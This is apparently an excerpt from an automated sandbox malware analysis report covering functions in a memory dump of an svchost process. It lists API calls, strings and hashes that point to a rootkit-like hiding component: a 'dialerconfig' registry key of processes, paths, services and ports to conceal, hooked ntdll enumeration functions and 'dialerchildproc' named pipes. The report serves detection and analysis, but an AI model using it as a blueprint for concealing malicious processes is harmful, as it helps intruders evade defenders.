RegCloseKey.ADVAPI32 ref: 00000142DB141734
RegOpenKeyExW.ADVAPI32 ref: 00000142DB141754
RegCloseKey.ADVAPI32 ref: 00000142DB14176F
RegOpenKeyExW.ADVAPI32 ref: 00000142DB14178F
RegCloseKey.ADVAPI32 ref: 00000142DB1417AA
RegOpenKeyExW.ADVAPI32 ref: 00000142DB1417CA
RegCloseKey.ADVAPI32 ref: 00000142DB1417E5
RegOpenKeyExW.ADVAPI32 ref: 00000142DB141805
RegCloseKey.ADVAPI32 ref: 00000142DB141820
RegOpenKeyExW.ADVAPI32 ref: 00000142DB141840
RegCloseKey.ADVAPI32 ref: 00000142DB14185B
RegOpenKeyExW.ADVAPI32 ref: 00000142DB14187B
RegCloseKey.ADVAPI32 ref: 00000142DB141896
RegCloseKey.ADVAPI32 ref: 00000142DB1418A0

Part of subcall function 00000142DB1412BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000142DB141319
Part of subcall function 00000142DB1412BC: GetProcessHeap.KERNEL32 ref: 00000142DB141327
Part of subcall function 00000142DB1412BC: HeapAlloc.KERNEL32 ref: 00000142DB141338
Part of subcall function 00000142DB1412BC: RegEnumValueW.ADVAPI32 ref: 00000142DB141397
Part of subcall function 00000142DB1412BC: GetProcessHeap.KERNEL32 ref: 00000142DB1413DF
Part of subcall function 00000142DB1412BC: HeapAlloc.KERNEL32 ref: 00000142DB1413ED
Part of subcall function 00000142DB1412BC: GetProcessHeap.KERNEL32 ref: 00000142DB14140A
Part of subcall function 00000142DB1412BC: HeapFree.KERNEL32 ref: 00000142DB141418
Part of subcall function 00000142DB1412BC: lstrlenW.KERNEL32 ref: 00000142DB141421
Part of subcall function 00000142DB1412BC: GetProcessHeap.KERNEL32 ref: 00000142DB14142F
Part of subcall function 00000142DB1412BC: HeapAlloc.KERNEL32 ref: 00000142DB14143D

Strings

tcp_local, xrefs: 00000142DB1417FE
SOFTWARE\dialerconfig, xrefs: 00000142DB141692
paths, xrefs: 00000142DB141788
startup, xrefs: 00000142DB1416D5
process_names, xrefs: 00000142DB14174D
pid, xrefs: 00000142DB141712
tcp_remote, xrefs: 00000142DB141839
udp, xrefs: 00000142DB141874
service_names, xrefs: 00000142DB1417C3

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 1e1f514f7e255df1a5d4e08e956ec218ee86d0b19e85537d110ef333f8620d43
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: FA71EB36B10A5186EB109FA6E8A1BDD2BB4F788B98F801111EE4E57B7DEF34C494C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000142DB141319
GetProcessHeap.KERNEL32 ref: 00000142DB141327
HeapAlloc.KERNEL32 ref: 00000142DB141338
RegEnumValueW.ADVAPI32 ref: 00000142DB141397

Part of subcall function 00000142DB14152C: StrCmpIW.SHLWAPI ref: 00000142DB14155D

GetProcessHeap.KERNEL32 ref: 00000142DB1413DF
HeapAlloc.KERNEL32 ref: 00000142DB1413ED
GetProcessHeap.KERNEL32 ref: 00000142DB14140A
HeapFree.KERNEL32 ref: 00000142DB141418
lstrlenW.KERNEL32 ref: 00000142DB141421
GetProcessHeap.KERNEL32 ref: 00000142DB14142F
HeapAlloc.KERNEL32 ref: 00000142DB14143D
StrCpyW.SHLWAPI ref: 00000142DB14145F
GetProcessHeap.KERNEL32 ref: 00000142DB141476
HeapFree.KERNEL32 ref: 00000142DB141484

Strings

d, xrefs: 00000142DB14135A

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: d29138fc136ff00e03d9c2fab726d96dee23fb640036abc2b7c4df96a1045418
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: EF513C36A00B84C6EB54CFA2E5583AA7BE1F78DB95F844124EA4907B68DF3CC595C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000142DB141D1F

Part of subcall function 00000142DB141FD4: GetModuleHandleA.KERNEL32 ref: 00000142DB141FEC
Part of subcall function 00000142DB141FD4: GetProcAddress.KERNEL32 ref: 00000142DB141FFD

Part of subcall function 00000142DB145B30: GetCurrentThreadId.KERNEL32 ref: 00000142DB145B6B

Strings

ntdll.dll, xrefs: 00000142DB141D2D
NtQueryDirectoryFileEx, xrefs: 00000142DB141D9C
EnumServicesStatusExW, xrefs: 00000142DB141E11, 00000142DB141E32
advapi32.dll, xrefs: 00000142DB141DF7, 00000142DB141E18
NtResumeThread, xrefs: 00000142DB141D62
NtEnumerateValueKey, xrefs: 00000142DB141DD6
NtDeviceIoControlFile, xrefs: 00000142DB141E56
sechost.dll, xrefs: 00000142DB141E39
EnumServiceGroupW, xrefs: 00000142DB141DF0
NtEnumerateKey, xrefs: 00000142DB141DB9
NtQuerySystemInformation, xrefs: 00000142DB141D45
NtQueryDirectoryFile, xrefs: 00000142DB141D7F

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: cc0561d7420fa04eef7874ef2a9d17f5c683423295cbe4a66a808c9b0cb0feb9
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 50315F74E1098AA1EA05EBE6E871BD46B61AB0D384FC05413F85A0357DAE78C6DEC390

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB406910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000142DB406938
__scrt_acquire_startup_lock.LIBCMT ref: 00000142DB40698A
_RTC_Initialize.LIBCMT ref: 00000142DB4069B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000142DB4069DE
__scrt_release_startup_lock.LIBCMT ref: 00000142DB406A09

Strings

scriptor', xrefs: 00000142DB406B39, 00000142DB406BB2, 00000142DB406BEC
`dynamic initializer for ', xrefs: 00000142DB4069C7
`eh vector vbase copy constructor iterator', xrefs: 00000142DB4069EE
`eh vector copy constructor iterator', xrefs: 00000142DB406A3B

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ecdb0c3f156dfe6b4b40604db64620ada7bff06d686fe58901025faafbd66c12
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: D081B171E1424186FA50EBE594723DD6EE1EB867A0FF48025FB4A477B6DB38C8C59B00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000142DB14CE37
FlsGetValue.KERNEL32(?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CE4C
FlsSetValue.KERNEL32(?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CE6D
FlsSetValue.KERNEL32(?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CE9A
FlsSetValue.KERNEL32(?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CEAB
FlsSetValue.KERNEL32(?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CEBC
SetLastError.KERNEL32 ref: 00000142DB14CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000142DB14ECCC,?,?,?,?,00000142DB14BF9F,?,?,?,?,?,00000142DB147AB0), ref: 00000142DB14CF2C

Part of subcall function 00000142DB14D6CC: HeapAlloc.KERNEL32 ref: 00000142DB14D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CF54

Part of subcall function 00000142DB14D744: HeapFree.KERNEL32 ref: 00000142DB14D75A
Part of subcall function 00000142DB14D744: GetLastError.KERNEL32 ref: 00000142DB14D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000142DB150A6B,?,?,?,00000142DB15045C,?,?,?,00000142DB14C84F), ref: 00000142DB14CF76

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: a8e449600d41014678fb659f695021104937e61fdd3f2c4ea5910744104af501
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 42413C70E0124446FE68A7F555763EA2A925B8C7B4FE40B24F93A477FEDE38C4D18600

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB142244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000142DB142259
GetCurrentProcessId.KERNEL32 ref: 00000142DB142263

Part of subcall function 00000142DB141934: OpenProcess.KERNEL32 ref: 00000142DB141952
Part of subcall function 00000142DB141934: IsWow64Process.KERNEL32 ref: 00000142DB141968
Part of subcall function 00000142DB141934: CloseHandle.KERNEL32 ref: 00000142DB141983

CreateFileW.KERNEL32 ref: 00000142DB1422BC
WriteFile.KERNEL32 ref: 00000142DB1422E4
ReadFile.KERNEL32 ref: 00000142DB142303
CloseHandle.KERNEL32 ref: 00000142DB14230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000142DB14228C
\\.\pipe\dialerchildproc32, xrefs: 00000142DB142293

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: abf6e07a81c308cf3c82ce5fb692e052069be19637cf244d2deb0e1402958285
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: E6211D36A1464082EB10CBA5E4647AA7BB1F78DBA5F904215EA5903ABCDF7CC589CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB409944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000142DB4099A1

Part of subcall function 00000142DB40A814: __GetUnwindTryBlock.LIBCMT ref: 00000142DB40A857
Part of subcall function 00000142DB40A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000142DB40A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000142DB409A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000142DB409CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000142DB409DDA

Strings

csm, xrefs: 00000142DB409A22
csm, xrefs: 00000142DB4099BB
csm, xrefs: 00000142DB409A9C

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 3e7a80f63f3a48b25056433b5ce555902fa23a32841bdcc295e1748cae6abe28
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 73E14D72A04B808AEB60DFA9D4A03DD7BA4F795798FA04115FF8957BA9CB38C5D1C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000142DB14A5A1

Part of subcall function 00000142DB14B414: __GetUnwindTryBlock.LIBCMT ref: 00000142DB14B457
Part of subcall function 00000142DB14B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000142DB14B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000142DB14A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000142DB14A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000142DB14A9DA

Strings

csm, xrefs: 00000142DB14A5BB
csm, xrefs: 00000142DB14A622
csm, xrefs: 00000142DB14A69C

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: b710c18d62406256a6d01fa71f76a1f3423cd14aa9e07b74dc447faa929e683c
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 9BE19C72A14B808AEB60DFA5D4A03DD7BA4F749B98F910116FE8957BAECB34D0D5C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000142DB14F510
GetProcAddress.KERNEL32 ref: 00000142DB14F51C

Strings

api-ms-, xrefs: 00000142DB14F45A
ext-ms-, xrefs: 00000142DB14F46D

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 0969ce06c619d85f1fa6e7e82bb55e918ddfe02fd0fe87e4eff05afcb529d083
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 9841C332F11A0091EA56CBE6A8647D92BD1B74DBE0F894529FD1E877ACEE38C4C58350

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000142DB1410B1
RegEnumValueW.ADVAPI32 ref: 00000142DB141117
GetProcessHeap.KERNEL32 ref: 00000142DB14115A
HeapAlloc.KERNEL32 ref: 00000142DB141168
GetProcessHeap.KERNEL32 ref: 00000142DB141185
HeapFree.KERNEL32 ref: 00000142DB141193

Strings

d, xrefs: 00000142DB1410D6

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 128bdfcedbf692b54ab2d1e5e7e39657242029bd48fe8fe8933fd312fdaad6e9
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: A5415E33614B84C6E760CF61E45479E7BB1F389B98F448129EA8A07B6CDF38C599CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB14D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000142DB14C7DE,?,?,?,?,?,?,?,?,00000142DB14CF9D,?,?,00000001), ref: 00000142DB14D087
FlsSetValue.KERNEL32(?,?,?,00000142DB14C7DE,?,?,?,?,?,?,?,?,00000142DB14CF9D,?,?,00000001), ref: 00000142DB14D0A6
FlsSetValue.KERNEL32(?,?,?,00000142DB14C7DE,?,?,?,?,?,?,?,?,00000142DB14CF9D,?,?,00000001), ref: 00000142DB14D0CE
FlsSetValue.KERNEL32(?,?,?,00000142DB14C7DE,?,?,?,?,?,?,?,?,00000142DB14CF9D,?,?,00000001), ref: 00000142DB14D0DF
FlsSetValue.KERNEL32(?,?,?,00000142DB14C7DE,?,?,?,?,?,?,?,?,00000142DB14CF9D,?,?,00000001), ref: 00000142DB14D0F0

Strings

Y%, xrefs: 00000142DB14D0A6
1%, xrefs: 00000142DB14D0CE

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9b02bf5771c9a76509d06a5c5e829608d442eca32e2d450e265a2929a0341469
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: B0116070F0428441FE68A7B659723EA6A515B4D7F4FA45724F839477FEDE38C8C28200

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB147510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000142DB147538
__scrt_acquire_startup_lock.LIBCMT ref: 00000142DB14758A
_RTC_Initialize.LIBCMT ref: 00000142DB1475B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000142DB1475DE
__scrt_release_startup_lock.LIBCMT ref: 00000142DB147609

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 68df2b65cc5af88c068d796c024e9d6b8c3f2ed4998e7db4bdef3ec0c4d249fa
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: E481D671E1024186FB91ABE9A4713D96EE1EB4D780FD44625F908877BEDB38C9C5C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB149DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000142DB149E49
GetLastError.KERNEL32 ref: 00000142DB149E57
LoadLibraryExW.KERNEL32 ref: 00000142DB149E81
FreeLibrary.KERNEL32 ref: 00000142DB149EC7
GetProcAddress.KERNEL32 ref: 00000142DB149ED3

Strings

api-ms-, xrefs: 00000142DB149E69

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 50986ca00955494349e55048cac6590b6220248f09435d3bd7496c5e441c14af
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: F631A531B12640E5EE51DB82A5607E92AE4B74CBE0F990535FD1D1B7B8DF39C4C58310

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB153DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000142DB153DE5
GetLastError.KERNEL32 ref: 00000142DB153DF1
CloseHandle.KERNEL32 ref: 00000142DB153E09
CreateFileW.KERNEL32 ref: 00000142DB153E34
WriteConsoleW.KERNEL32 ref: 00000142DB153E53

Strings

CONOUT$, xrefs: 00000142DB153E15

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ae0d1fcea9a2a9afa7ce188eafc02b01f031a7d2d5b0520001199734e3c84f0d
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: D8116331B10B8086E7508B92F8647597AF0F78CFE4F844224FA5A877B8DF38C5948740

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB143790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000142DB14379E
GetCurrentProcess.KERNEL32 ref: 00000142DB1437CC
VirtualProtectEx.KERNEL32 ref: 00000142DB1437EE
GetCurrentProcess.KERNEL32 ref: 00000142DB143809
VirtualProtectEx.KERNEL32 ref: 00000142DB14382A

Strings

wr, xrefs: 00000142DB1437FF

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 69563142b96651d4f2c669348d08a304097e6eb42b4bc269a64f0cc9bbe7c7d8
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 8E113C36B0474582EF549B61F4247AABAB0F788B95F940139EE8907768EF3DC585C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB145B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000142DB145B6B
GetThreadContext.KERNEL32 ref: 00000142DB145CD5

Part of subcall function 00000142DB145960: GetCurrentThreadId.KERNEL32 ref: 00000142DB145964

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 9b062e490fe02f02ff9595d3c5a270bd464ef36ea034a3e5027507b39aef7793
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: A6D19C76604B8886DA70DB56E4A439A7BA0F7CCB84F500616EACD47BB9DF3CC591CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB142F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB142F27
HeapAlloc.KERNEL32 ref: 00000142DB142F3A
StrCmpNIW.SHLWAPI ref: 00000142DB142FAF
GetProcessHeap.KERNEL32 ref: 00000142DB143015
HeapFree.KERNEL32 ref: 00000142DB143023

Strings

dialer, xrefs: 00000142DB142FA8

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 8d7a894f2b75a29da1e635688610dd8eac0ac45f6fa711624785a941682a6ccb
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: AA31A232B11B5582EA55CF96E5607A97BA0FB48B80F884120FE4847B79EF34C4E1C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB1414A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB1414C5
